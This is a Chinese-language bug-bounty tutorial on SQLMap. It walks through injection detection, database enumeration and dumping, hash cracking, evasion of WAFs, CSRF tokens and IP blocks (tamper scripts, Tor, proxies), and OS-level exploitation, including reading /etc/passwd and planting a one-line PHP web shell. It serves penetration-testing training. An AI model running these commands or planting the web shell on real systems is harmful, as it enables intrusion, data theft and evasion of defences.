【Bug Bounty Hunter】第九章-SQLMap
【Bug Bounty Hunter】笔记系列
0x00 快速开始
1. SQLMap概览
SQLMap 是一款免费且开源的渗透测试工具,使用Python编写,自动化检测和利用SQL注入漏洞。SQLMap自2006年以来一直在不断开发,至今仍在维护。
1 | d4rk30@linux$ python sqlmap.py -u 'http://inlanefreight.htb/page.php?id=5' |
1.1 SQLMap支持的注入类型
- B: Boolean-based blind(基于布尔值的盲注)
- E: Error-based(基于错误的)
- U: Union query-based(基于联合查询的)
- S: Stacked queries(堆叠查询)
- T: Time-based blind(基于时间的盲注)
- Q: Inline queries(内联查询)
2. SQLMap入门
在开始使用SQLMap时,新用户通常会查看程序的帮助信息。为了帮助新用户,有两个级别的帮助信息列表:
- 基本列表仅显示基本参数,在大多数情况下足够使用:-h
- 高级列表显示所有参数:-hh
1 | d4rk30@linux$ sqlmap -h |
2.1 基本使用
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/vuln.php?id=1" --batch |
注意:在这种情况下,参数
-u
用于提供目标URL,而参数--batch
用于跳过任何必需的用户输入,通过自动选择使用默认参数。
0x01 构建攻击
1. 运行SQLMap在HTTP请求上
1.1 cURL命令
在Chrome、Edge或Firefox开发者工具的网络面板中,利用Copy as cURL
功能是正确设置针对特定目标(即带有参数的Web请求)的SQLMap请求的最佳且最简单的方法之一。
通过将剪贴板内容(Ctrl-V)粘贴到命令行中,并将原始命令curl
更改为sqlmap
。
1 | d4rk30@linux$ sqlmap 'http://www.example.com/?id=1' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0' -H 'Accept: image/webp,*/*' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'DNT: 1' |
在向SQLMap提供测试数据时,必须存在可以评估SQL注入漏洞的参数值,或者使用自动参数查找的专用参数参数(例如 --crawl
、--forms
或-g
)。
1.2 GET/POST请求
在最常见的情况下,使用-u
或--url
测试GET请求。使用--data
,可以测试POST请求,如下所示:
1 | d4rk30@linux$ sqlmap 'http://www.example.com/' --data 'uid=1&name=test' |
在这种情况下,将对POST参数uid
和name
进行SQL注入漏洞测试。如果有明确表明参数uid
容易出现SQL注入漏洞,我们可以使用-p uid
将测试范围缩小到该参数。除此之外,我们还可以在提供的数据中使用特殊标记*
将其标记出来,如下所示:
1 | d4rk30@linux$ sqlmap 'http://www.example.com/' --data 'uid=1*&name=test' |
1.3 完整的HTTP请求
如果我们需要指定一个复杂的HTTP请求,其中包含许多不同的Headers和一个内容丰富的POST正文,则可以使用-r
参数,利用Burp可以把完整的请求内容复制下来,存储到一个文件中,例如文件名为:req.txt。
1 | d4rk30@linux$ sqlmap -r req.txt |
提示:与
--data
参数的情况类似,我们可以在保存的请求文件中使用星号*
指定要注入的参数,例如/?id=*
。
1.4 自定义SQLMap请求
例如,如果需要将cookie值指定为 PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c
,则使用参数--cookie
。
1 | d4rk30@linux$ sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c' |
使用参数-H/--header
可以实现相同的效果:
1 | d4rk30@linux$ sqlmap ... -H='Cookie:PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c' |
我们可以将同样的方法应用到参数,如--host
,--referer
和-A / --user-agent
,它们用于指定相同的HTTP标头值。此外,还有一个参数--random-agent
,旨在从包含的常规浏览器值数据库中随机选择一个User-agent的值。
此外,如果我们想要指定一个除了GET和POST之外的替代HTTP方法(例如PUT),我们可以使用参数--method
,如下所示:
1 | d4rk30@linux$ sqlmap -u www.target.com --data='id=1' --method PUT |
1.5 自定义HTTP请求
除了最常见的表单数据POST请求体格式,SQLMap还支持JSON格式和XML格式的HTTP请求。
对于这些格式的支持是以“宽松”的方式实现的;因此,对参数值在内部存储的方式没有严格的限制。如果POST请求体相对简单且较短,参数–data就足够了。
然而,对于复杂或长的POST请求体,我们可以再次使用-r参数:
1 | d4rk30@linux$ cat req.txt |
2. 攻击调整
SQLMap在检测阶段。发送到目标的每个有效的Payload由两部分组成:
- 向量(vector ):有效的SQL代码的载体,是Payload的核心部分,将在目标处执行。
- 边界(boundaries):前缀和后缀形式,用于将向量正确注入易受攻击的SQL语句中。
两者共同组成的最终测试的Payload。
2.1 前缀/后缀
在一些罕见情况下,SQLMap运行时需要特殊的前缀和后缀值,这些值不在正常情况下的覆盖范围内。对于这样的运行,可以使用参数--prefix
和--suffix
,如下所示:
1 | d4rk30@linux$ sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -" |
这会让测试的向量被封装在静态前缀%'))
和后缀-- -
之间。例如,如果目标中的易受攻击代码是:
1 | $query = "SELECT id,name,surname FROM users WHERE id LIKE (('" . $_GET["q"] . "')) LIMIT 0,1"; |
测试的向量是UNION ALL SELECT 1,2,VERSION()
,最终产生的SQL语句如下:
1 | SELECT id,name,surname FROM users WHERE id LIKE (('test%')) UNION ALL SELECT 1,2,VERSION()-- -')) LIMIT 0,1 |
2.2 级别/风险
默认情况下,SQLMap结合了预定义的最常见边界(即前缀/后缀对)和在存在漏洞的目标情况下成功率较高的向量集。除此之外还可以使用已经包含在SQLMap中的更大的边界和向量集。
对于这样的要求,应该使用参数--level
和--risk
:
- 参数
--level
(1-5,默认为1)扩展了使用的向量和边界。 - 参数
--risk
(1-3,默认为1)根据它们在目标端引起问题的风险(即数据库条目丢失或拒绝服务的风险)扩展了使用的向量集。
为了检查不同level和risk值的使用边界和有效载荷之间的差异的最佳方法是使用-v
参数设置详细程度(0-6,默认是1)。
1 | d4rk30@linux$ sqlmap -u www.example.com/?id=1 -v 3 --level=5 --risk=3 |
0x02 数据库枚举
1. 数据库枚举
1.1 基本数据库数据枚举
通常,在成功检测到SQLi漏洞后,我们可以开始枚举数据库的基本细节,枚举通常从检索基本信息开始:
- 数据库版本标语(参数:
--banner
) - 当前用户名(参数:
--current-user
) - 当前数据库名称(参数:
--current-db
) - 检查当前用户是否拥有DBA(管理员)权限(参数:
--is-dba
)
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba |
1.2 表格枚举
在大多数常见的情况下,找到当前数据库名称后,检索表名将使用--tables
参数,并使用-D testdb
指定数据库名称,如下所示:
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --tables -D testdb |
在找到感兴趣的表名后,可以使用--dump
参数并使用-T users
指定表名来检索其内容,如下所示:
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb |
控制台输出显示表格以格式化的CSV格式转储到本地文件users.csv
中。
1.3 表格/行枚举
当处理具有许多列或许多行的大型表格时,我们可以使用-C
参数指定列,如下所示:
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname |
根据表格中的序号来缩小行的范围,我们可以使用--start
和--stop
参数来指定行,如下所示:
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3 |
1.4 条件枚举
如果需要根据已知的WHERE条件检索特定行,则可以使用--where
参数,如下所示:
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'" |
1.5 完整数据库枚举
我们可以通过完全跳过-T
的使用(例如--dump -D testdb
)来检索相关数据库中的所有表。还可以使用--dump-all
,会检索所有数据库的所有内容,通常--dump-all
会和--exclude-sysdbs
一起使用,这会跳过系统默认库中的数据,这些数据对渗透测试人员没有太多作用。
2. 高级数据库枚举
2.1 数据库架构枚举
如果我们想检索所有表的结构,以便我们可以全面了解数据库体系结构,我们可以使用--schema
:
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --schema |
2.2 搜索数据
当处理具有大量表和列的复杂数据库结构时,我们可以使用--search
搜索感兴趣的数据库、表和列。
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --search -T user |
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --search -C pass |
2.3 密码枚举与破解
当我们识别出包含密码的表,我们就可以使用-T
检索该表,如前所示:
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --dump -D master -T users |
在前面的例子中我们可以看到,SQLMap具有自动密码哈希破解功能。在检索任何类似于已知哈希格式的值时,SQLMap会提示我们对找到的哈希值执行基于字典的攻击。
2.4 数据库用户密码枚举与破解
除了在数据库表中找到的用户登录信息外,我们还可以尝试dump包含特定于数据库的用户登录信息的系统表内容。为了简化整个过程,SQLMap提供了一个专门用于此类任务的特殊参数--passwords
:
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --passwords --batch |
0x03 SQLMAP高级用法
1. 绕过网络应用程序保护
1.1 Anti-CSRF Token绕过
SQLMap有一些参数可以帮助绕过CSRF保护。最重要的参数是--csrf-token
。通过指定令牌参数名称(应该已经在提供的请求数据中可用),SQLMap将自动尝试解析目标响应内容并搜索新的令牌值,以便在下一个请求中使用它们。
此外,即使用户没有通过 –csrf-token 明确指定令牌的名称,如果提供的参数中包含任何常见的中缀(即 csrf、xsrf、token),用户将被提示是否在后续请求中更新它:
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token" |
1.2 Unique Value绕过
在某些情况下,Web应用程序要求在某些参数内提供唯一值。这种机制与上述绕过CSRF技术类似,只是不需要解析网页内容。因此,只要确保每次请求的参数值都是唯一的,为此可使用参数--randomize
,进行随机化的值的作为参数:
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp --batch |
1.3 Calculated Parameter绕过
另一个类似的机制是,Web应用程序期望根据某参数值计算出正确的参数值。最常见的情况是,一个参数值必须包含另一个参数值的Hash(例如,h=MD5(id))。为了绕过这个问题,应该使用--eval
,请求被发送到目标之前,会使用python代码进行处理:
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch |
1.4 IP地址隐藏
如果我们想要隐藏我们的IP地址,或者某个网络应用程序有保护机制,将我们当前的IP地址列入黑名单,我们可以尝试使用代理或匿名网络Tor。可以使用参数--proxy
(例如–proxy=”socks4://177.39.187.70:33283”)设置代理,其中应添加一个有效的代理。
此外,如果我们有代理列表,我们可以使用参数--proxy-file
将它们提供给SQLMap。这样,SQLMap将按顺序遍历列表,在出现任何问题(例如,IP地址被列入黑名单)的情况下,它将跳过当前的代理并继续下一个。
另一种选择是使用Tor网络,它提供了一种易于使用的匿名方式,我们的IP可以出现在Tor出口节点列表中的任何地方。在本地计算机上安装Tor后,本地端口9050或9150上应该有一个SOCKS4代理服务。通过使用--tor
,SQLMap 会自动尝试查找本地端口并适当使用。
1.5 User-agent黑名单绕过
如果在运行SQLMap时出现立即问题(例如,从一开始就出现HTTP错误代码5XX),我们应该考虑的第一件事情之一是SQLMap使用的默认用户代理可能被列入黑名单,使用--random-agent
可以轻松绕过此限制。
1.6 篡改脚本
最后,在SQLMap中实现的最受欢迎的绕过WAF/IPS解决方案的机制之一是所谓的“篡改”脚本。篡改脚本是一种特殊类型的脚本,用于在发送到目标之前修改请求,大多数情况下是为了绕过某些保护。
篡改脚本可以在--tamper
中链接在一起,一个接一个地运行(例如 –tamper=between,randomcase)。
值得关注的篡改脚步如下:
Tamper-Script | 描述 |
---|---|
0eunion | 用e0UNION代替UNION实例 |
base64encode | 对给定有效载荷中的所有字符进行Base64编码 |
between | 使用NOT BETWEEN 0 AND # 替换> ,使用BETWEEN # AND # 替换= |
commalesslimit | 在MySQL实例中使用LIMIT N OFFSET M 替换LIMIT M, N |
equaltolike | 用LIKE 替换所有出现的= |
halfversionedmorekeywords | 在每个关键词前添加(MySQL)版本注释 |
modsecurityversioned | 使用(MySQL)版本化注释进行完整查询 |
modsecurityzeroversioned | 使用(MySQL)零版本注释进行完整查询 |
percentage | 在每个字符前添加百分号% ,(例如:SELECT -> %S%E%L%E%C%T) |
plus2concat | 用(MsSQL)对应函数CONCAT() 代替加号运算符+ |
randomcase | 用随机大小写值替换每个关键字字符(例如 SELECT -> SEleCt) |
space2comment | 用注释`/替换空格字符 |
space2dash | 将空格字符替换为一个破折号注释(——),后面跟着一个随机字符串和一个新行(\n) |
space2hash | 将(MySQL)的空格字符()的实例替换为一个镑字符(#),后面跟着一个随机字符串和一个新行(\n |
space2mssqlblank | 用有效备用字符集中的随机空白字符替换(MsSQL)空格字符的实例 |
space2plus | 用加号+ )代替空格字符 |
space2randomblank | 用有效备用字符集中的随机空白字符替换空格字符 |
symboliclogical | 用符号对应运算符&&和 |
versionedkeywords | 用(MySQL)版本注释括住每个非功能关键字 |
versionedmorekeywords | 用(MySQL)版本注释括住每个关键词 |
1.7 其他绕过方式
除了上面的保护绕过机制之外,还有两个需要提到的。
第一个是使用--chunked
开启的分块传输编码,它将POST请求的主体分成所谓的“块”。被列入黑名单的SQL关键字在块之间分割,以使包含它们的请求可以不被注意地通过。
另一个绕过机制是HTTP参数污染(HPP),其中有效载荷被分割成类似于–chunked的方式,位于不同相同参数名称的值之间(例如?id=1&id=UNION&id=SELECT&id=username,password&id=FROM&id=users…),如果目标平台支持,则由目标平台连接(例如ASP)。
2. 操作系统EXP
2.1 检查DBA权限
要检查我们是否具有SQLMap的DBA权限,我们可以使用以下--is-dba
参数:
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba |
2.2 读取本地文件
SQLMap无需通过SQL手动注入,而是可以使用以下参数相对轻松地读取本地文件--file-read
:
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd" |
2.3 写入本地文件
大多数DBMS默认情况下禁用文件写入,并且DBA需要某些权限才能写入文件。尽管如此,许多Web应用程序都需要DBMS能够将数据写入文件,因此值得测试我们是否可以将文件写入远程服务器。要使用SQLMap来做到这一点,我们可以使用--file-write
和--file-dest
参数。首先,我们准备一个基本的PHP Web shell并将其写入shell.php文件中:
1 | d4rk30@linux$ echo '<?php system($_GET["cmd"]); ?>' > shell.php |
现在,让我们尝试在远程服务器的/var/www/html/
目录中写入该文件。如果我们不知道服务器的webroot
,我们会看到SQLMap会自动找到它。
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php" |
现在,我们可以尝试访问远程PHP shell,并执行示例命令:
1 | d4rk30@linux$ curl http://www.example.com/shell.php?cmd=ls+-la |
2.4 操作系统命令执行
要获得SQLMap带有的操作系统shell,我们可以使用--os-shell
,如下所示:
1 | d4rk30@linux$ sqlmap -u "http://www.example.com/?id=1" --os-shell |
SQLMap默认使用UNION获取操作系统shell的技术,如果最终未能给我们任何输出。我们有多种类型的SQL注入漏洞,让我们尝试指定另一种更有可能为我们提供直接输出的技术,例如 ,机遇错误的注入,我们可以使用
--technique=E
来指定。
更完整的使用方法,可以参看SQLMap官方文档:https://github.com/sqlmapproject/sqlmap/wiki/Usage